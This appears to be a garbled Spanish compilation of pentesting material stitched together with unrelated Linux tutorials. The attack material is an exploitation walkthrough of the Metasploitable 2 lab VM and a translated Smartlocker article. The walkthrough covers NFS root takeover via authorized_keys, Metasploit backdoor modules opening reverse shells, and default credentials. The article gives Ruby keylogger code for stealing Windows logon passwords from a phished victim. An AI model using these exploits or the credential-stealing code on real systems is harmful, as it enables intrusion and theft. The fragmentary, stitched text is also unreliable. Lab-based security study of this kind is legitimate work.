Академический Документы
Профессиональный Документы
Культура Документы
Metasploitable 2
La mquina virtual Metasploitable es una versin de Ubuntu Linux intencionalmente vulnerable
diseada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La
versin 2 de esta mquina virtual se encuentra disponible para la descargadesde Sourceforge.net y
contiene an muchas ms vulnerabilidades que la imgen original. Esta mquina virtual es
compatible con VMWare, VirtualBox, y otras plataformas de virtualizacin comunes. De manera
predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de
red NAT y Host-only, y la imagen no debe exponerse a una red hostl. Este artculo describe
muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta
documentacin sobre el servidor web y las fallas de aplicaciones web, as como las
vulnerabilidades que permiten a un usuario local escalar a privilegios de root.
Este documento se seguir ampliando con el tiempo a medida que muchos de los defectos menos
evidentes
en
esta
plataforma
se
vayan
encontrando.
Primeros Pasos
Despus de arrancar la mquina virtual, inicie sesin en la consola con el usuariomsfadmin y
contrasea msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la direccin IP.
?
1
2
3
4
5
6
msfadmin@metasploitable:~$ ifconfig
eth0
Servicios
Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los
servicios de red abiertos en esta mquina virtual utilizando el Scanner de Seguridad Nmap. La
siguiente lnea de comando analizar todos los puertos TCP en la instancia de Metasploitable 2:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En
la siguiente seccin, caminaremos a travs de algunos de estos vectores.
1
2
3
4
Esto se pone tan bueno como se v. El prximo servicio que debe tener en cuenta es el sistema de
archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o
pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para
identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raz del sistema
de archivos) estar siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfscommon para seguir adelante.
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@ubuntu:~# rpcinfo
program vers proto
100000
2
tcp
100000
2
udp
100024
1
udp
100024
1
tcp
100003
2
udp
100003
3
udp
100003
4
udp
100021
1
udp
100021
3
udp
100021
4
udp
100003
2
tcp
100003
3
tcp
100003
4
tcp
100021
1
tcp
100021
3
tcp
100021
4
tcp
100005
1
udp
100005
1
tcp
100005
2
udp
100005
2
tcp
100005
3
udp
100005
3
tcp
-p 192.168.99.131
port service
111 portmapper
111 portmapper
53318 status
43729 status
2049 nfs
2049 nfs
2049 nfs
46696 nlockmgr
46696 nlockmgr
46696 nlockmgr
2049 nfs
2049 nfs
2049 nfs
55852 nlockmgr
55852 nlockmgr
55852 nlockmgr
34887 mountd
39292 mountd
34887 mountd
39292 mountd
34887 mountd
39292 mountd
Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial.
Para que sea as (y porque SSH est ejecutndose), generaremos una nueva llave SSH en nuestro
agregamos
nuestra
llave
al
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686
root@metasploitable:~#
Servicios: Backdoors
En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versin en
particular contiene una puerta trasera (backdoor) que fue introducida en el cdigo fuente por un
intruso desconocido. El backdoor fue rpidamente identificado y eliminado, pero no antes de que
unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado
terminando con la secuencia " :) " (carita felz), la versin con el backdoor abrir una shell en
escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un mdulo
de Metasploit Framework para explotarlo automticamente:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versin contiene un
backdoor que pas desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un
comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un mdulo para
explotar esto con el fin de obtener una shell interactiva, como se muestra a continuacin.
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using y
instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at
21:53:59 -0700
id
uid=0(root) gid=0(root)
Mucho menos sutl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El
puerto ingreslock era una opcin popular hace una dcada para agregar una puerta trasera a un
servidor comprometido. Accederlo es fcil:
?
1
2
3
4
5
6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at
22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide
links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo
de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente
ejemplo utiliza un mdulo de Metasploit para proporcionar acceso al sistema de archivos raz
utilizando una conexin annima y un recurso compartido con acceso de escritura.
?
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Contraseas Dbiles
Adicionalmente a las ms flagrantes puertas traseras y errores de configuracin, Metasploitable 2
tiene terrible seguridad de contrasea tanto para la cuenta del sistema como para la cuenta del
servidor de base de datos. El usuario principal de administracinmsfadmin tiene una contrasea
que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea
mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeracin de
estos identificadores de usuario a travs de Samba, un ataque de fuerza bruta puede ser utilizado
para acceder rpidamente a varias cuentas de usuario. Como mnimo, las siguientes cuentas
dbiles del sistema estn configuradas en el sistema.
Nombre Cuenta
msfadmin
user
postgres
sys
klog
service
Contrasea
msfadmin
user
postgres
batman
123456789
service
Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el
nombre de usuario postgres y contrasea postgres, mientras que el servicio de MySQL est
abierto con el nombre de usuario root y con una contrasea en blanco. El servicio
de VNC proporciona el acceso de escritorio remoto a travs de la contrasea password.
VMInjector, bypass
authentication
Enviado por Seifreed en Ago 9, 2013 | 8 Opiniones
En el artculo de hoy os traigo otra herramienta que como pentesters deberemos
de aadir a nuestro arsenal. Se trata de VMInjector, con este script podremos
hacer bypass authentication de los principales sistemas operativos instalados
como mquinas virtuales en VMWare. Tambin puede servir para aquellos
administradores de sistema que se olviden el password de alguna mquina virtual.
Primero de todo bajamos VMInjector del repositorio de Github.
https://github.com/batistam/VMInjector
Tiene soporte para sistemas x86 y x64.
Que necesitamos?
Ahora lo que haremos es conseguir entrar en la mquina sin tener que conocer la
contrasea.
Arrancamos VMINjector desde el CMD con permisos de administrador.
Ahora nos pregunta cual es el sistema operativo del que queremos hacer unlock.
Una vez que hagamos continuar nos dirigimos hacia la mquina virtual y
Montar la memoria
USB en la terminal
29
PASO 2: IDENTIFICAR EL
NOMBRE DE LA UNIDAD QUE
QUEREMOS MONTAR
Cada dispositivo que conectamos a nuestro sistema operativo se reconoce
con un nombre determinado. Ahora lo que tenemos que hacer es averiguar
con que nombre se reconoce nuestra memoria USB. Para ello tecleamos el
siguiente comando en la terminal sin tener el USB enchufado en el
ordenador:
ls -l /dev/sd*
T
T
T
T
1
1
1
1
root
root
root
root
disc
disc
disc
disc
8,
8,
8,
8,
0
1
2
5
mar
mar
mar
mar
16
16
16
16
11:21
11:21
11:21
11:21
/dev/sda
/dev/sda1
/dev/sda2
/dev/sda5
ls -l /dev/sd*
T
T
T
T
T
T
1
1
1
1
1
1
root
root
root
root
root
root
disc 8, 0
disc 8, 1
disc 8, 2
disc 8, 5
floppy 8,
floppy 8,
mar 16
mar 16
mar 16
mar 16
16 mar
17 mar
11:21 /dev/sda
11:21 /dev/sda1
11:21 /dev/sda2
11:21 /dev/sda5
16 11:24 /dev/sdb
16 11:24 /dev/sdb1
PASO 5: DESMONTAR LA
MEMORIA USB
Una vez hayamos terminado de realizar todo lo que tenemos que realizar
con la memoria usb tan solo tenemos que desmontarla. Para desmontarla
tienen que introducir el siguiente comando en la terminal:
umount /media/usb
Donde < objetivo > puede ser una direccin IP simple, un nombre de mquina o una direccin de
red.
-sS exploracin TCP SYN (conocida tambin como medio-abierta, o anlisis sigiloso)
-P0 opcin que nos permite desactivar los pings ICMP.
-sV opcin que habilita la deteccin de versin del sistema operativo
-O es una bandera que intenta identificar el sistema operativo remoto
Otras opciones:
-A habilita la deteccin tanto del sistema operativo como de la versin
-v al utilizar el parmetro -v dos veces obtendremos mayor detalle del anlisis (verbosity).
Podemos cambiar el valor del parmetro -p para definir el nmero del puerto a buscar. Busquemos
en man nmap las diferentes formas de especificar rangos de direcciones.
Podemos reemplazar el rango 192.168.0.1-254 con el rango de la red que queremos verificar.
Esta tcnica es bastante efectiva para encontrar de forma exitosa muchos puntos de acceso Wi-Fi
falsos en redes muy grandes.
8. Utilizar un seuelo mientras se analizan los puertos para evitar ser detectados por el
sysadmin
?
Este comando utiliza nmap para realizar bsquedas reversas de DNS en una red. Produce una
lista de direcciones IP con el registro PTR correspondiente para una red especfica. Podemos
ingresar la direccione de la red en notacin CDIR (Por ejemplo, /24 para una red clase C).
Podemos agregar dns-servers x.x.x.x despus de los argumentos -sL si se requiere que las
bsquedas se realicen para un servidor DNS especfico.
nmap -F -O 192.168.0.1-255 | grep Running: > /tmp/os; echo $(cat /tmp/os | grep Lin
Window(s) devices
Siguiendo mi intencin de acercar la terminal (esa cosa tan rara) a los nuevos usuarios, vamos
a hablar del comando "apt-get".
apt-get es la herramienta que utiliza Debian y sus derivadas (Ubuntu incluida), para
gestionar los paquetes instalables disponibles en los repositorios y aunque tenemos a nuestra
disposicin herramientas grficas que nos facilitan las cosas, nunca est de ms saber lo que
podemos hacer con apt-get desde una terminal:
En Ubuntu, los comandos administrativos, como "apt-get", deben de ser ejecutados como
superusuario, anteponiendo "sudo".
Uso:
sudo apt-get [opciones] orden [paquetes]
Ejemplos:
sudo apt-get [opciones] install paquete1 paqquete2 ...
sudo apt-get [opciones] remove paquete1 [paqquete2 ...
sudo apt-get [opciones] source paquete1 paquete2 ...
[opciones] se puede utilizar o no (ver el apartado correspondiente).
Comandos "apt-get":
1. Actualizar el listado de paquetes disponibles:
sudo apt-get update
Opciones:
-s
-d
-y
-u
-h
-q
-qq
-f
-m
-b
-V
-c=?
-o=?
Comando "apt":
Actualizacin: A partir de Ubuntu 14.04, el gestor de paquetes apt ("Avanced Package Tool")
tiene nuevas opciones. Ya no es necesario escribir "apt-get" y se puede utilizar simplemente
"apt", (apt seguir funcionando).
1. Buscar y mostrar los paquetes instalados por su nombre:
sudo apt list
2. Buscar en las descripciones de los paquetes:
12.2.
yum
Commands
yum commands are typically run as yum <command> <package name/s>. By default, yum will
automatically attempt to check all configured repositories to resolve all package dependencies
during an installation/upgrade.
The following is a list of the most commonly-used yum commands. For a complete list of
available yumcommands, refer to man yum.
yum install <package name/s>
Used to update the specified packages to the latest available version. If no package
name/s are specified, then yum will attempt to update all installed packages.
If the --obsoletes option is used (i.e. yum --obsoletes
will process
obsolete packages. As such, packages that are obsoleted accross updates will be
removed and replaced accordingly.
yum check-update
This command allows you to determine whether any updates are available for your
installed packages. yumreturns a list of all package updates from all repositories if any
are available.
yum remove <package name/s>
Used to remove specified packages, along with any other packages dependent on the
packages being removed.
yum provides <file name>
This command is used to find any packages containing the specified keyword in the
description, summary, packager and package name fields of RPMs in all repositories.
yum localinstall <absolute path to package name/s>
Used when using yum to install a package located locally in the machine.
Nmap ("Network Mapper") es una herramienta de cdigo abierto para exploracin de red y
auditora de seguridad. Fue diseado para escanear rpidamente grandes redes, aunque
funciona bien contra los ejrcitos individuales. Nmap utiliza paquetes IP en bruto en formas
novedosas para determinar qu hosts estn disponibles en la red, qu servicios (nombre de la
aplicacin y versin) estos equipos ofrecen, qu sistemas operativos (y versiones del sistema
operativo) que se estn ejecutando, qu tipo de filtros de paquetes / cortafuegos estn en uso, y
docenas de otras caractersticas. Mientras Nmap es comnmente utilizado para las auditoras de
seguridad, muchos sistemas y administradores de red resulta til para tareas de rutina, tales
como inventario de red, gestin de horarios de servicios de actualizacin y supervisin de host o
tiempo de servicio.
Caracteristicas
Qu equipos te enteraste que se ejecuta en la red local?
2. Qu direcciones IP Te ha resultado que se ejecuta en la red local?
3. Qu es el sistema operativo de su equipo de destino?
4. Para saber qu puertos estn abiertos en la mquina que usted acaba de escanear?
5. Averige si el sistema est infectado con malware o virus.
6. Bsqueda de servidores no autorizados o servicios de red en la red.
7. Buscar y quitar los equipos que no cumplen con el nivel mnimo de la organizacin de la
seguridad.
Ejemplos
Escanear un nico host o una direccin IP (IPv4)
# # # Escanear una nica direccin IP # # #
nmap 192.168 0,1 0,1
# # Escanear un nombre de host # # #
nmap server1.cyberciti.biz
# # Escanear un nombre de host con ms info # # #
nmap-v server1.cyberciti.biz
Salidas de muestra:
Salidas de muestra:
Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 01: 23 EST
Puertos de inters sobre 192.168 0,1 0,1:
PORT STATE SERVICE
21 / tcp cerrado ftp
22 / tcp abierto ssh
23 / tcp telnet cerrado
25 / tcp smtp cerrada
80 / tcp abiertos http
110 / tcp cerrado pop3
139 / tcp cerrado netbios-ssn
2.6.15-2.6.24 (92%), Mikrotik RouterOS 3.0beta5 (92%), Mikrotik RouterOS 3.17 (92%), Linux
2.6.24 (91%), Linux 2.6.22 (90%)
No hay coincidencias exactas para el host del sistema operativo (si usted sabe qu sistema
operativo se est ejecutando en ella, ver [Tienes que estar registrado y conectado para ver este
vnculo]
TCP / IP de huella digital:
OS: SCAN (V = 5,00 D = 11% / 27% = 22% OT CT = 1% CU = 30609% PV = Y% DS = 1% G
= Y% m% = BCAEC5 TM = 50B3CA
OS:% P = 4B x86_64-unknown-linux-gnu) SEC (SP = C8% GCD = 1% ISR = CB% TI = Z% CI
= Z% II = I% TS = 7
OS
OPS (O1 = M2300ST11NW2% O2 = O3 M2300ST11NW2% = M2300NNT11NW2% O4 O5
= M2300ST11NW2%
OS: = M2300ST11NW2% O6 = M2300ST11) WIN (W1 = 45E8% W2 = 45E8% W3 = 45E8% W4
W5 = 45E8% = 45E8% W
OS: 6 = 45E8) REC (R = Y% DF = Y% T = 40% W = 4600% O = CC = M2300NNSNW2% N% =
Q) T1 (R = Y% DF = Y% T = 40% S
OS: =% S A = S + F% = EN% RD = 0% Q =) T2 (R = N) T3 (R = N) T4 (R = Y% DF = Y% T =
40% W = 0% S = A% A% = Z F = R% S% = R
OS: D = 0% Q =) T5 (R = Y% DF = Y% T = 40% W = 0% S = Z% A = S + F% = AR% O =%
RD = 0% Q =) T6 (R = Y% DF = Y% T = 40% W =
OS: 0% S = A% A% = Z = F R% S% = RD = 0% = Q) T7 (R = N) U1 (R = Y% DF = N% T =
40% IPL = 164% UN = 0% =% RIPL G RID
OS: = G = G RIPCK%%% RUCK = G = G RUD) IE (R = Y% DFI = N% T = CD = 40% S)
Uptime conjetura: 12,990 das (desde mi 14 de noviembre 01:44:40 2012)
Distancia de red: 1 salto
Prediccin de Secuencia TCP: Dificultad = 200 (Buena suerte!)
IP ID Generacin de secuencia: Todo ceros
Leer archivos de datos de: / usr / share / nmap
OS deteccin realizada. Por favor reporte cualquier resultado incorrecto en [Tienes que
estar registrado y conectado para ver este vnculo]
Nmap hecho: 1 direccin IP (1 husped up) escaneada en 12,38 segundos
Paquetes enviados: Raw 1126 (53.832KB) | Rcvd: 1066 (46.100KB)
Vase tambin: Toma de huellas dactilares de un servidor web y un servidor DNS herramientas
de lnea de comandos para ms informacin.
Si el firewall est bloqueando estndar pings ICMP, pruebe los mtodos siguientes
descubrimiento de acogida:
nmap-PS 192.168.1.1
nmap-PS 80,21,443 192.168.1.1
nmap-PA 192.168.1.1
nmap-PA 80,21,200-512 192.168.1.1
Vea cmo bloquear Navidad packkets, syn inundaciones y otros ataques conman con iptables.
(parte del cdigo se ha copiado incluso directamente de ste ltimo). Pero, a diferencia de
keylogrecorder, Smartlocker est diseado para usar un procedimiento mas sigiloso a la hora de
obtener la contrasea del usuario. A diferencia de keylogrecorder, Smartlocker se centra
nicamente en la obtencin de contraseas de winlogon.exe. Desde winlogon slo se capturan las
pulsaciones que ocurren cuando se produce un inicio de sesin en Windows, el archivo de registro
resultante
slo
contendr
el
nombre
de
usuario
y
contrasea.
Smartlocker abord tres deficiencias existentes en keylogrecorder al capturar las credenciales de
inicio de sesin.
1.
Si hay dos procesos winlogon.exe corriendo en el sistema, keylogrecorder migrar hacia
uno y luego hacia el otro, muchas veces hasta que de una u otra forma ocasiona que las sesiones
de meterpreter mueran o queden inutilizables. Aunque este es un caso aislado, es comn
encontrarlo durante las actividades de pruebas de penetracin, y es algo que ser abordado en
una prxima revisin de keylogrecorder. El otro problema ocurre cuando hay dos procesos
winlogon.exe en ejecucin y no es posible tener certeza de cual de los procesos permitir la
captura la contrasea del usuario activo.
2.
El usuario se bloquea inmediatamente al utilizar la opcin "-k". Aunque al 80% de los
usuarios finales esto no les parezca extrao, sin duda esto se destacar como un comportamiento
anormal. Esta conducta sera aun mas sospechosa si el usuario acaba de abri un archivo adjunto o
si ha buscado algo que no debera. El pedazo extra de "rareza"puede empujarlos a hacer una
llamada al departamento de soporte, lo que no es bueno.
3.
Es necesario realizar varios saltos (hoops) para identificar cuando el usuario ha iniciado
una nueva sesin en Windows. Una forma de hacerlo es a travs de capturas de pantalla, pero
esto es un proceso manual y consume demasiado tiempo. El tiempo de inactividad es tambin un
marcador imperfecto ya que es posible que el usuario pueda mover el mouse por accidente.
Smartlocker hace lo mejor para resolver estos problemas.
Caso Ejemplo:
Juan Perez es un diseador grfico que trabaja para la compaa ACME. Ha hecho un click sobre
nuestro enlace y muy amablemente nos ha permitido obtener una sesion reversa de Meterpreter.
Hemos estado mirando dentro del sistema de Juan y no encontramos nada de nuestro inters,
excepto que ahora sabemos que Juan es un usuario administrador en el servidor local MS
SharePoint. El servicio SMB no est corriendo, as que decidiremos ir detras del SharePoint y para
esta tarea necesitaremos la contrasea de Juan. Pero Juan es inteligente (o pensbamos que lo
era antes de que hiciera click en ese enlace no?), su contrasea es de 25 caracteres, por lo que es
difcil de romperla utilizando el valor hash del cach MS.
Las opciones de Smartlocker son:
Usage:
OPTIONS:
-b Frecuencia de verificacin de inactividad. El default son 30 segundos.
-h Ayuda.
-i Tiempo de inactividad a esperar antes de bloquear la sesin automticamente. El default son 300
segundos (5 minutos).
-p PID del objetivo - utilizado cuando hay mltiples sesiones Winlogon presentes.
-t Intervalo de tiempo en segundos entre cada recoleccin de pulsaciones del teclado, el default
son 30 segundos.
Un chequeo rpido para verificar si la mquina de Juan est configurada para bloquearse de forma
automtica:
?
Name: ScreenSaverIsSecure
Type: REG_SZ
Data: 0
No lo est, por lo que vamos a utilizar la configuracin por defecto de Smartlocker, el cual utiliza
tiene un enfoque basado en el tiempo. El script verifica si la cuenta del usuario objetivo es un
administrador y si es as, busca todos los procesos winlogon que se ejecutan en la mquina de
Juan. Dado que slo hay uno, Smartlocker migra automticamente a este proceso y comienza a
recolectar
las
pulsaciones
de
teclado.
El siguiente cdigo levanta los tiempos de inactividad de la mquina de Juan de acuerdo a la
frecuencia definida en el parmetro "-b" ($heartbeat) hasta que el tiempo de inactividad actual
alcance el umbral definido por el parmetro "-i" ($idletime) y entonces fuerza el bloqueo de la
sesin de Juan:
currentidle = session.ui.idle_time
3
4
5
currentidle = session.ui.idle_time
end
client.railgun.user32.LockWorkStation()
Aqu es donde, bsicamente, slo se ejecuta el cdigo del keylogger, jalando las pulsaciones del
teclado de la memoria cada $heartbeat segundos. Sin embargo, la parte divertida es que antes de
reanudar la captura de pulsaciones, realiza una verificacin para ver si el usuario ha iniciado una
nueva
sesin.
GetForegroundWindow es una llamada a una API de Windows que se utiliza a travs de railgun
que aplica a un proceso especfico, y en el caso de winlogon, es distinto de cero cada vez que el la
sesin est bloqueado o ha sido cerrada. As que una muy simple declaracin IF detiene el
keylogger automticamente cuando ya ha logrado su objetivo.
1
2
3
4
5
6
7
still_locked = client.railgun.user32.GetForegroundWindow()
['return']
if still_locked == 0
print_status("They
raise 'win'\
end
sleep(keytime.to_i)
end
rescue::Exception => e
if e.message != 'win'
10
print("\n")
11
print_status("#{e.class} #{e}")
12
end
13
14
session.ui.keyscan_stop
Este es el script en accin en la mquina de Juan, incluso se puede ver que el tiempo de
inactividad disminuy a 12, cuando Juan movi el mouse:
1
2
3
4
5
6
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Ahora, con la contrasea de Juan podemos iniciar sesin en el servidor de SharePoint, obtener una
shell web ASP, enganchar la base de datos local MS SQL con las contraseas en texto plano
halladas en la mquina y tener un binario de Meterpreter corriendo en el servidor SharePoint [1].
[1] http://www.room362.com/blog/2010/5/7/0exploit-privilege-escalation.html
Ahora ejecutamos Smartlocker de nuevo y esta vez se identifican varias instancias de winlogon en
ejecucin, probablemente porque alguien est utilizando Remote Desktop para acceder a este
sistema. Algo para tener presente es que, para cada instancia de winlogon, 0 es siempre es la
consola base y cualquier otro nmero es algn tipo de conexin remota. El ID de sesin no es algo
que obtendremos con el comando "ps"de Meterpreter asi que debemos tener presente cual va a
ser el PID objetivo.
Nota rpida:
Cualquier sistema Windows que se encuentre configurado para permitir nicamente una "sesin"
activa tal como Windows XP, Vista o Windows 7, grabar realmente las pulsaciones del login en la
Sesin 0, sin importar que este sistema cree nuavas instancias de winlogon, a diferencia de
sistemas con servicios de terminal como Windows 2000/2003/2008, las pulsaciones son
procesadas para cada proceso winlogon respectivo a cada sesin identificada.
1
2
3
4
5
Utilizando la opcin "-p" con "415" como el PID de la instancia winlogon objetivo (es un servidor
Windows 2008), ejecutamos Smartlocker de nuevo, y utilizamos la opcin "-w" para que solo sea
esperar que el usuario/administrador bloquee su sesin en lugar de bloquearla por el.
5
6
9
10
11
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
12
13
14
15
M@sterD0mainAdm!n221
16
msf >
Ya con esto tendremos el administrador de dominio sino que tambin, obtendremos la contrasea
en texto claro.
Este
artculo
ha
sido
traducido
del
artculo
enhttp://blog.metasploit.com/2010/12/capturing-windows-logons-with.html
original
publicado
Donde < objetivo > puede ser una direccin IP simple, un nombre de mquina o una direccin de
red.
-sS exploracin TCP SYN (conocida tambin como medio-abierta, o anlisis sigiloso)
-P0 opcin que nos permite desactivar los pings ICMP.
-sV opcin que habilita la deteccin de versin del sistema operativo
Podemos cambiar el valor del parmetro -p para definir el nmero del puerto a buscar. Busquemos
en man nmap las diferentes formas de especificar rangos de direcciones.
Podemos reemplazar el rango 192.168.0.1-254 con el rango de la red que queremos verificar.
Esta tcnica es bastante efectiva para encontrar de forma exitosa muchos puntos de acceso Wi-Fi
falsos en redes muy grandes.
8. Utilizar un seuelo mientras se analizan los puertos para evitar ser detectados por el
sysadmin
?
Este comando utiliza nmap para realizar bsquedas reversas de DNS en una red. Produce una
lista de direcciones IP con el registro PTR correspondiente para una red especfica. Podemos
ingresar la direccione de la red en notacin CDIR (Por ejemplo, /24 para una red clase C).
Podemos agregar dns-servers x.x.x.x despus de los argumentos -sL si se requiere que las
bsquedas se realicen para un servidor DNS especfico.